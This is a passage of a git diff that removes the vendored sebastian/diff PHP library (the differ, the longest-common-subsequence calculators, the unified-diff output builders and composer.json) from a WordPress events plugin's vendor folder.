SebastianBergmann\Money\Money::newMoney - ) - - [2] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => */ - ) - - [3] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 2 - [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyWithSameCurrencyObjectCanBeAdded() - ) - - [4] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 1 - [content:SebastianBergmann\Diff\Line:private] => public function testAnotherMoneyObjectWithSameCurrencyCanBeAdded() - ) - - [5] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => { - ) - - [6] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => $a = new Money(1, new Currency('EUR')); - ) - - [7] => SebastianBergmann\Diff\Line Object - ( - [type:SebastianBergmann\Diff\Line:private] => 3 - [content:SebastianBergmann\Diff\Line:private] => $b = new Money(2, new Currency('EUR')); - ) - ) - ) - ) - ) - ) diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/composer.json deleted file mode 100644 index cf92202b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/composer.json +++ /dev/null @@ -1,47 +0,0 @@ -{ - "name": "sebastian/diff", - "description": "Diff implementation", - "keywords": ["diff", "udiff", "unidiff", "unified diff"], - "homepage": "https://github.com/sebastianbergmann/diff", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de" - }, - { - "name": "Kore Nordmann", - "email": "mail@kore-nordmann.de" - } - ], - "prefer-stable": true, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "require": { - "php": ">=7.3" - }, - "require-dev": { - "phpunit/phpunit": "^9.3", - "symfony/process": "^4.2 || ^5" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "autoload-dev": { - "classmap": [ - "tests/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "4.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Chunk.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Chunk.php deleted file mode 100644 index 16ae34f4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Chunk.php +++ /dev/null @@ -1,89 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -final class Chunk -{ - /** - * @var int - */ - private $start; - - /** - * @var int - */ - private $startRange; - - /** - * @var int - */ - private $end; - - /** - * @var int - */ - private $endRange; - - /** - * @var Line[] - */ - private $lines; - - public function __construct(int $start = 0, int $startRange = 1, int $end = 0, int $endRange = 1, array $lines = []) - { - $this->start = $start; - $this->startRange = $startRange; - $this->end = $end; - $this->endRange = $endRange; - $this->lines = $lines; - } - - public function getStart(): int - { - return $this->start; - } - - public function getStartRange(): int - { - return $this->startRange; - } - - public function getEnd(): int - { - return $this->end; - } - - public function getEndRange(): int - { - return $this->endRange; - } - - /** - * @return Line[] - */ - public function getLines(): array - { - return $this->lines; - } - - /** - * @param Line[] $lines - */ - public function setLines(array $lines): void - { - foreach ($lines as $line) { - if (!$line instanceof Line) { - throw new InvalidArgumentException; - } - } - - $this->lines = $lines; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Diff.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Diff.php deleted file mode 100644 index 17b2084f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Diff.php +++ /dev/null @@ -1,64 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -final class Diff -{ - /** - * @var string - */ - private $from; - - /** - * @var string - */ - private $to; - - /** - * @var Chunk[] - */ - private $chunks; - - /** - * @param Chunk[] $chunks - */ - public function __construct(string $from, string $to, array $chunks = []) - { - $this->from = $from; - $this->to = $to; - $this->chunks = $chunks; - } - - public function getFrom(): string - { - return $this->from; - } - - public function getTo(): string - { - return $this->to; - } - - /** - * @return Chunk[] - */ - public function getChunks(): array - { - return $this->chunks; - } - - /** - * @param Chunk[] $chunks - */ - public function setChunks(array $chunks): void - { - $this->chunks = $chunks; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Differ.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Differ.php deleted file mode 100644 index 98c7a9b2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Differ.php +++ /dev/null @@ -1,327 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use const PHP_INT_SIZE; -use const PREG_SPLIT_DELIM_CAPTURE; -use const PREG_SPLIT_NO_EMPTY; -use function array_shift; -use function array_unshift; -use function array_values; -use function count; -use function current; -use function end; -use function get_class; -use function gettype; -use function is_array; -use function is_object; -use function is_string; -use function key; -use function min; -use function preg_split; -use function prev; -use function reset; -use function sprintf; -use function substr; -use SebastianBergmann\Diff\Output\DiffOutputBuilderInterface; -use SebastianBergmann\Diff\Output\UnifiedDiffOutputBuilder; - -final class Differ -{ - public const OLD = 0; - - public const ADDED = 1; - - public const REMOVED = 2; - - public const DIFF_LINE_END_WARNING = 3; - - public const NO_LINE_END_EOF_WARNING = 4; - - /** - * @var DiffOutputBuilderInterface - */ - private $outputBuilder; - - /** - * @param DiffOutputBuilderInterface $outputBuilder - * - * @throws InvalidArgumentException - */ - public function __construct($outputBuilder = null) - { - if ($outputBuilder instanceof DiffOutputBuilderInterface) { - $this->outputBuilder = $outputBuilder; - } elseif (null === $outputBuilder) { - $this->outputBuilder = new UnifiedDiffOutputBuilder; - } elseif (is_string($outputBuilder)) { - // PHPUnit 6.1.4, 6.2.0, 6.2.1, 6.2.2, and 6.2.3 support - // @see https://github.com/sebastianbergmann/phpunit/issues/2734#issuecomment-314514056 - // @deprecated - $this->outputBuilder = new UnifiedDiffOutputBuilder($outputBuilder); - } else { - throw new InvalidArgumentException( - sprintf( - 'Expected builder to be an instance of DiffOutputBuilderInterface, or a string, got %s.', - is_object($outputBuilder) ? 'instance of "' . get_class($outputBuilder) . '"' : gettype($outputBuilder) . ' "' . $outputBuilder . '"' - ) - ); - } - } - - /** - * Returns the diff between two arrays or strings as string. - * - * @param array|string $from - * @param array|string $to - */ - public function diff($from, $to, ?LongestCommonSubsequenceCalculator $lcs = null): string - { - $diff = $this->diffToArray( - $this->normalizeDiffInput($from), - $this->normalizeDiffInput($to), - $lcs - ); - - return $this->outputBuilder->getDiff($diff); - } - - /** - * Returns the diff between two arrays or strings as array. - * - * Each array element contains two elements: - * - [0] => mixed $token - * - [1] => 2|1|0 - * - * - 2: REMOVED: $token was removed from $from - * - 1: ADDED: $token was added to $from - * - 0: OLD: $token is not changed in $to - * - * @param array|string $from - * @param array|string $to - * @param LongestCommonSubsequenceCalculator $lcs - */ - public function diffToArray($from, $to, ?LongestCommonSubsequenceCalculator $lcs = null): array - { - if (is_string($from)) { - $from = $this->splitStringByLines($from); - } elseif (!is_array($from)) { - throw new InvalidArgumentException('"from" must be an array or string.'); - } - - if (is_string($to)) { - $to = $this->splitStringByLines($to); - } elseif (!is_array($to)) { - throw new InvalidArgumentException('"to" must be an array or string.'); - } - - [$from, $to, $start, $end] = self::getArrayDiffParted($from, $to); - - if ($lcs === null) { - $lcs = $this->selectLcsImplementation($from, $to); - } - - $common = $lcs->calculate(array_values($from), array_values($to)); - $diff = []; - - foreach ($start as $token) { - $diff[] = [$token, self::OLD]; - } - - reset($from); - reset($to); - - foreach ($common as $token) { - while (($fromToken = reset($from)) !== $token) { - $diff[] = [array_shift($from), self::REMOVED]; - } - - while (($toToken = reset($to)) !== $token) { - $diff[] = [array_shift($to), self::ADDED]; - } - - $diff[] = [$token, self::OLD]; - - array_shift($from); - array_shift($to); - } - - while (($token = array_shift($from)) !== null) { - $diff[] = [$token, self::REMOVED]; - } - - while (($token = array_shift($to)) !== null) { - $diff[] = [$token, self::ADDED]; - } - - foreach ($end as $token) { - $diff[] = [$token, self::OLD]; - } - - if ($this->detectUnmatchedLineEndings($diff)) { - array_unshift($diff, ["#Warning: Strings contain different line endings!\n", self::DIFF_LINE_END_WARNING]); - } - - return $diff; - } - - /** - * Casts variable to string if it is not a string or array. - * - * @return array|string - */ - private function normalizeDiffInput($input) - { - if (!is_array($input) && !is_string($input)) { - return (string) $input; - } - - return $input; - } - - /** - * Checks if input is string, if so it will split it line-by-line. - */ - private function splitStringByLines(string $input): array - { - return preg_split('/(.*\R)/', $input, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY); - } - - private function selectLcsImplementation(array $from, array $to): LongestCommonSubsequenceCalculator - { - // We do not want to use the time-efficient implementation if its memory - // footprint will probably exceed this value. Note that the footprint - // calculation is only an estimation for the matrix and the LCS method - // will typically allocate a bit more memory than this. - $memoryLimit = 100 * 1024 * 1024; - - if ($this->calculateEstimatedFootprint($from, $to) > $memoryLimit) { - return new MemoryEfficientLongestCommonSubsequenceCalculator; - } - - return new TimeEfficientLongestCommonSubsequenceCalculator; - } - - /** - * Calculates the estimated memory footprint for the DP-based method. - * - * @return float|int - */ - private function calculateEstimatedFootprint(array $from, array $to) - { - $itemSize = PHP_INT_SIZE === 4 ? 76 : 144; - - return $itemSize * min(count($from), count($to)) ** 2; - } - - /** - * Returns true if line ends don't match in a diff. - */ - private function detectUnmatchedLineEndings(array $diff): bool - { - $newLineBreaks = ['' => true]; - $oldLineBreaks = ['' => true]; - - foreach ($diff as $entry) { - if (self::OLD === $entry[1]) { - $ln = $this->getLinebreak($entry[0]); - $oldLineBreaks[$ln] = true; - $newLineBreaks[$ln] = true; - } elseif (self::ADDED === $entry[1]) { - $newLineBreaks[$this->getLinebreak($entry[0])] = true; - } elseif (self::REMOVED === $entry[1]) { - $oldLineBreaks[$this->getLinebreak($entry[0])] = true; - } - } - - // if either input or output is a single line without breaks than no warning should be raised - if (['' => true] === $newLineBreaks || ['' => true] === $oldLineBreaks) { - return false; - } - - // two way compare - foreach ($newLineBreaks as $break => $set) { - if (!isset($oldLineBreaks[$break])) { - return true; - } - } - - foreach ($oldLineBreaks as $break => $set) { - if (!isset($newLineBreaks[$break])) { - return true; - } - } - - return false; - } - - private function getLinebreak($line): string - { - if (!is_string($line)) { - return ''; - } - - $lc = substr($line, -1); - - if ("\r" === $lc) { - return "\r"; - } - - if ("\n" !== $lc) { - return ''; - } - - if ("\r\n" === substr($line, -2)) { - return "\r\n"; - } - - return "\n"; - } - - private static function getArrayDiffParted(array &$from, array &$to): array - { - $start = []; - $end = []; - - reset($to); - - foreach ($from as $k => $v) { - $toK = key($to); - - if ($toK === $k && $v === $to[$k]) { - $start[$k] = $v; - - unset($from[$k], $to[$k]); - } else { - break; - } - } - - end($from); - end($to); - - do { - $fromK = key($from); - $toK = key($to); - - if (null === $fromK || null === $toK || current($from) !== current($to)) { - break; - } - - prev($from); - prev($to); - - $end = [$fromK => $from[$fromK]] + $end; - unset($from[$fromK], $to[$toK]); - } while (true); - - return [$from, $to, $start, $end]; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/ConfigurationException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/ConfigurationException.php deleted file mode 100644 index 8847a2e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/ConfigurationException.php +++ /dev/null @@ -1,38 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use function get_class; -use function gettype; -use function is_object; -use function sprintf; -use Exception; - -final class ConfigurationException extends InvalidArgumentException -{ - public function __construct( - string $option, - string $expected, - $value, - int $code = 0, - ?Exception $previous = null - ) { - parent::__construct( - sprintf( - 'Option "%s" must be %s, got "%s".', - $option, - $expected, - is_object($value) ? get_class($value) : (null === $value ? '' : gettype($value) . '#' . $value) - ), - $code, - $previous - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/Exception.php deleted file mode 100644 index e20d3203..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/InvalidArgumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/InvalidArgumentException.php deleted file mode 100644 index 846ac3fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Exception/InvalidArgumentException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -class InvalidArgumentException extends \InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Line.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Line.php deleted file mode 100644 index 3596ed26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Line.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -final class Line -{ - public const ADDED = 1; - - public const REMOVED = 2; - - public const UNCHANGED = 3; - - /** - * @var int - */ - private $type; - - /** - * @var string - */ - private $content; - - public function __construct(int $type = self::UNCHANGED, string $content = '') - { - $this->type = $type; - $this->content = $content; - } - - public function getContent(): string - { - return $this->content; - } - - public function getType(): int - { - return $this->type; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/LongestCommonSubsequenceCalculator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/LongestCommonSubsequenceCalculator.php deleted file mode 100644 index dea8fe1c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/LongestCommonSubsequenceCalculator.php +++ /dev/null @@ -1,18 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -interface LongestCommonSubsequenceCalculator -{ - /** - * Calculates the longest common subsequence of two arrays. - */ - public function calculate(array $from, array $to): array; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php deleted file mode 100644 index 489113b6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/MemoryEfficientLongestCommonSubsequenceCalculator.php +++ /dev/null @@ -1,93 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff; - -use function array_fill; -use function array_merge; -use function array_reverse; -use function array_slice; -use function count; -use function in_array; -use function max; - -final class MemoryEfficientLongestCommonSubsequenceCalculator implements LongestCommonSubsequenceCalculator -{ - /** - * {@inheritdoc} - */ - public function calculate(array $from, array $to): array - { - $cFrom = count($from); - $cTo = count($to); - - if ($cFrom === 0) { - return []; - } - - if ($cFrom === 1) { - if (in_array($from[0], $to, true)) { - return [$from[0]]; - } - - return []; - } - - $i = (int) ($cFrom / 2); - $fromStart = array_slice($from, 0, $i); - $fromEnd = array_slice($from, $i); - $llB = $this->length($fromStart, $to); - $llE = $this->length(array_reverse($fromEnd), array_reverse($to)); - $jMax = 0; - $max = 0; - - for ($j = 0; $j <= $cTo; $j++) { - $m = $llB[$j] + $llE[$cTo - $j]; - - if ($m >= $max) { - $max = $m; - $jMax = $j; - } - } - - $toStart = array_slice($to, 0, $jMax); - $toEnd = array_slice($to, $jMax); - - return array_merge( - $this->calculate($fromStart, $toStart), - $this->calculate($fromEnd, $toEnd) - ); - } - - private function length(array $from, array $to): array - { - $current = array_fill(0, count($to) + 1, 0); - $cFrom = count($from); - $cTo = count($to); - - for ($i = 0; $i < $cFrom; $i++) { - $prev = $current; - - for ($j = 0; $j < $cTo; $j++) { - if ($from[$i] === $to[$j]) { - $current[$j + 1] = $prev[$j] + 1; - } else { - // don't use max() to avoid function call overhead - if ($current[$j] > $prev[$j + 1]) { - $current[$j + 1] = $current[$j]; - } else { - $current[$j + 1] = $prev[$j + 1]; - } - } - } - } - - return $current; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php deleted file mode 100644 index e55757c3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/AbstractChunkOutputBuilder.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff\Output; - -use function count; - -abstract class AbstractChunkOutputBuilder implements DiffOutputBuilderInterface -{ - /** - * Takes input of the diff array and returns the common parts. - * Iterates through diff line by line. - */ - protected function getCommonChunks(array $diff, int $lineThreshold = 5): array - { - $diffSize = count($diff); - $capturing = false; - $chunkStart = 0; - $chunkSize = 0; - $commonChunks = []; - - for ($i = 0; $i < $diffSize; ++$i) { - if ($diff[$i][1] === 0 /* OLD */) { - if ($capturing === false) { - $capturing = true; - $chunkStart = $i; - $chunkSize = 0; - } else { - ++$chunkSize; - } - } elseif ($capturing !== false) { - if ($chunkSize >= $lineThreshold) { - $commonChunks[$chunkStart] = $chunkStart + $chunkSize; - } - - $capturing = false; - } - } - - if ($capturing !== false && $chunkSize >= $lineThreshold) { - $commonChunks[$chunkStart] = $chunkStart + $chunkSize; - } - - return $commonChunks; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php deleted file mode 100644 index f79a935c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOnlyOutputBuilder.php +++ /dev/null @@ -1,72 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff\Output; - -use function fclose; -use function fopen; -use function fwrite; -use function stream_get_contents; -use function substr; -use SebastianBergmann\Diff\Differ; - -/** - * Builds a diff string representation in a loose unified diff format - * listing only changes lines. Does not include line numbers. - */ -final class DiffOnlyOutputBuilder implements DiffOutputBuilderInterface -{ - /** - * @var string - */ - private $header; - - public function __construct(string $header = "--- Original\n+++ New\n") - { - $this->header = $header; - } - - public function getDiff(array $diff): string - { - $buffer = fopen('php://memory', 'r+b'); - - if ('' !== $this->header) { - fwrite($buffer, $this->header); - - if ("\n" !== substr($this->header, -1, 1)) { - fwrite($buffer, "\n"); - } - } - - foreach ($diff as $diffEntry) { - if ($diffEntry[1] === Differ::ADDED) { - fwrite($buffer, '+' . $diffEntry[0]); - } elseif ($diffEntry[1] === Differ::REMOVED) { - fwrite($buffer, '-' . $diffEntry[0]); - } elseif ($diffEntry[1] === Differ::DIFF_LINE_END_WARNING) { - fwrite($buffer, ' ' . $diffEntry[0]); - - continue; // Warnings should not be tested for line break, it will always be there - } else { /* Not changed (old) 0 */ - continue; // we didn't write the non changs line, so do not add a line break either - } - - $lc = substr($diffEntry[0], -1); - - if ($lc !== "\n" && $lc !== "\r") { - fwrite($buffer, "\n"); // \No newline at end of file - } - } - - $diff = stream_get_contents($buffer, -1, 0); - fclose($buffer); - - return $diff; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOutputBuilderInterface.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOutputBuilderInterface.php deleted file mode 100644 index 0e18f9f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/DiffOutputBuilderInterface.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff\Output; - -/** - * Defines how an output builder should take a generated - * diff array and return a string representation of that diff. - */ -interface DiffOutputBuilderInterface -{ - public function getDiff(array $diff): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php deleted file mode 100644 index 9c55ab2a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/diff/src/Output/StrictUnifiedDiffOutputBuilder.php +++ /dev/null @@ -1,338 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\Diff\Output; - -use function array_merge; -use function array_splice; -use function count; -use function fclose; -use function fopen; -use function fwrite; -use function is_bool; -use function is_int; -use function is_string; -use function max; -use function min; -use function sprintf; -use function stream_get_contents; -use function substr; -use SebastianBergmann\Diff\ConfigurationException; -use SebastianBergmann\Diff\Differ; - -/** - * Strict Unified diff output builder. - * - * Generates (strict) Unified diff's (unidiffs) with hunks. - */ -final class StrictUnifiedDiffOutputBuilder implements DiffOutputBuilderInterface -{ - private static $default = [ - 'collapseRanges' => true, // ranges of length one are rendered with the trailing `,1` - 'commonLineThreshold' => 6, // number of same lines before ending a new hunk and creating a new one (if needed) - 'contextLines' => 3, // like `diff: -u, -U NUM, --unified[=NUM]`, for patch/git apply compatibility best to keep at least @ 3 - 'fromFile' => null, - 'fromFileDate' => null, - 'toFile' => null, - 'toFileDate' => null, - ]; - - /** - * @var bool - */ - private $changed; - - /** - * @var bool - */ - private $collapseRanges; - - /** - * @var int >= 0 - */ - private $commonLineThreshold; - - /** - * @var string - */ - private $header; - - /** - * @var int >= 0 - */ - private $contextLines; - - public function __construct(array $options = []) - { - $options = array_merge(self::$default, $options); - - if (!is_bool($options['collapseRanges'])) { - throw new ConfigurationException('collapseRanges', 'a bool', $options['collapseRanges']); - } - - if (!is_int($options['contextLines']) || $options['contextLines'] < 0) { - throw new ConfigurationException('contextLines', 'an int >= 0', $options['contextLines']); - } - - if (!is_int($options['commonLineThreshold']) || $options['commonLineThreshold'] <= 0) { - throw new ConfigurationException('commonLineThreshold', 'an int > 0', $options['commonLineThreshold']); - } - - $this->assertString($options, 'fromFile'); - $this->assertString($options, 'toFile'); - $this->assertStringOrNull($options, 'fromFileDate'); - $this->assertStringOrNull($options, 'toFileDate'); - - $this->header = sprintf( - "--- %s%s\n+++ %s%s\n", - $options['fromFile'], - null === $options['fromFileDate'] ? '' : "\t" . $options['fromFileDate'], - $options['toFile'], - null === $options['toFileDate'] ? '' : "\t" . $options['toFileDate'] - ); - - $this->collapseRanges = $options['collapseRanges']; - $this->commonLineThreshold = $options['commonLineThreshold']; - $this->contextLines = $options['contextLines']; - } - - public function getDiff(array $diff): string - { - if (0 === count($diff)) { - return ''; - } - - $this->changed = false; - - $buffer = fopen('php://memory', 'r+b'); - fwrite($buffer, $this->header); - - $this->writeDiffHunks($buffer, $diff); - - if (!$this->changed) { - fclose($buffer); - - return ''; - } - - $diff = stream_get_contents($buffer, -1, 0); - - fclose($buffer); - - // If the last char is not a linebreak: add it. - // This might happen when both the `from` and `to` do not have a trailing linebreak - $last = substr($diff, -1); - - return "\n" !== $last && "\r" !== $last - ? $diff . "\n" - : $diff; - } - - private function writeDiffHunks($output, array $diff): void - { - // detect "No newline at end of file" and insert into `$diff` if needed - - $upperLimit = count($diff); - - if (0 === $diff[$upperLimit - 1][1]) { - $lc = substr($diff[$upperLimit - 1][0], -1); - - if ("\n" !== $lc) { - array_splice($diff, $upperLimit, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); - } - } else { - // search back for the last `+` and `-` line, - // check if has trailing linebreak, else add under it warning under it - $toFind = [1 => true, 2 => true]; - - for ($i = $upperLimit - 1; $i >= 0; --$i) { - if (isset($toFind[$diff[$i][1]])) { - unset($toFind[$diff[$i][1]]); - $lc = substr($diff[$i][0], -1); - - if ("\n" !== $lc) { - array_splice($diff, $i + 1, 0, [["\n\\ No newline at end of file\n", Differ::NO_LINE_END_EOF_WARNING]]); - } - - if (!count($toFind)) { - break; - } - } - } - } - - // write hunks to output buffer - - $cutOff = max($this->commonLineThreshold, $this->contextLines); - $hunkCapture = false; - $sameCount = $toRange = $fromRange = 0; - $toStart = $fromStart = 1; - $i = 0; - - /** @var int $i */ - foreach ($diff as $i => $entry) { - if (0 === $entry[1]) { // same - if (false === $hunkCapture) { - ++$fromStart; - ++$toStart; - - continue; - } - - ++$sameCount; - ++$toRange; - ++$fromRange; - - if ($sameCount === $cutOff) { - $contextStartOffset = ($hunkCapture - $this->contextLines) < 0 - ? $hunkCapture - : $this->contextLines; - - // note: $contextEndOffset = $this->contextLines; - // - // because we never go beyond the end of the diff. - // with the cutoff/contextlines here the follow is never true; - // - // if ($i - $cutOff + $this->contextLines + 1 > \count($diff)) { - // $contextEndOffset = count($diff) - 1; - // } - // - // ; that would be true for a trailing incomplete hunk case which is dealt with after this loop - - $this->writeHunk( - $diff, - $hunkCapture - $contextStartOffset, - $i - $cutOff + $this->contextLines + 1, - $fromStart - $contextStartOffset, - $fromRange - $cutOff + $contextStartOffset + $this->contextLines, - $toStart - $contextStartOffset, - $toRange - $cutOff + $contextStartOffset + $this->contextLines, - $output - ); - - $fromStart += $fromRange; - $toStart += $toRange; - - $hunkCapture = false; - $sameCount = $toRange = $fromRange = 0; - } - - continue; - } - - $sameCount = 0; - - if ($entry[1] === Differ::NO_LINE_END_EOF_WARNING) { - continue; - } - - $this->changed = true; - - if (false === $hunkCapture) { - $hunkCapture = $i; - } - - if (Differ::ADDED === $entry[1]) { // added - ++$toRange; - } - - if (Differ::REMOVED === $entry[1]) { // removed - ++$fromRange; - } - } - - if (false === $hunkCapture) { - return; - } - - // we end here when cutoff (commonLineThreshold) was not reached, but we where capturing a hunk, - // do not render hunk till end automatically because the number of context lines might be less than the commonLineThreshold - - $contextStartOffset = $hunkCapture - $this->contextLines < 0 - ? $hunkCapture - : $this->contextLines; - - // prevent trying to write out more common lines than there are in the diff _and_ - // do not write more than configured through the context lines - $contextEndOffset = min($sameCount, $this->contextLines); - - $fromRange -= $sameCount; - $toRange -= $sameCount; - - $this->writeHunk( - $diff, - $hunkCapture - $contextStartOffset, - $i - $sameCount + $contextEndOffset + 1, - $fromStart - $contextStartOffset, - $fromRange + $contextStartOffset + $contextEndOffset, - $toStart - $contextStartOffset, - $toRange + $contextStartOffset + $contextEndOffset, - $output - ); - } - - private function writeHunk( - array $diff, - int $diffStartIndex, - int $diffEndIndex, - int $fromStart, - int $fromRange, - int $toStart, - int $toRange, - $output - ): void { - fwrite($output, '@@ -' . $fromStart); - - if (!$this->collapseRanges || 1 !== $fromRange) { - fwrite($output, ',' . $fromRange); - } - - fwrite($output, ' +' . $toStart); - - if (!$this->collapseRanges || 1 !== $toRange) { - fwrite($output, ',' . $toRange); - } - - fwrite($output, " @@\n"); - - for ($i = $diffStartIndex; $i < $diffEndIndex; ++$i) { - if ($diff[$i][1] === Differ::ADDED) { - $this->changed = true; - fwrite($output, '+' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::REMOVED) { - $this->changed = true; - fwrite($output, '-' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::OLD) { - fwrite($output, ' ' . $diff[$i][0]); - } elseif ($diff[$i][1] === Differ::NO_LINE_END_EOF_WARNING) { - $this->changed = true; - fwrite($output, $diff[$i][0]); - } - //} elseif ($diff[$i][1] === Differ::DIFF_LINE_END_WARNING) { // custom comment inserted by PHPUnit/diff package - // skip - //} else { - // unknown/invalid - //} - } - } - - private function assertString(array $options, string $option): void - { - if (!is_string($options[$option])) { - throw new ConfigurationException($option, 'a string', $options[$option]); - } - } - - private function 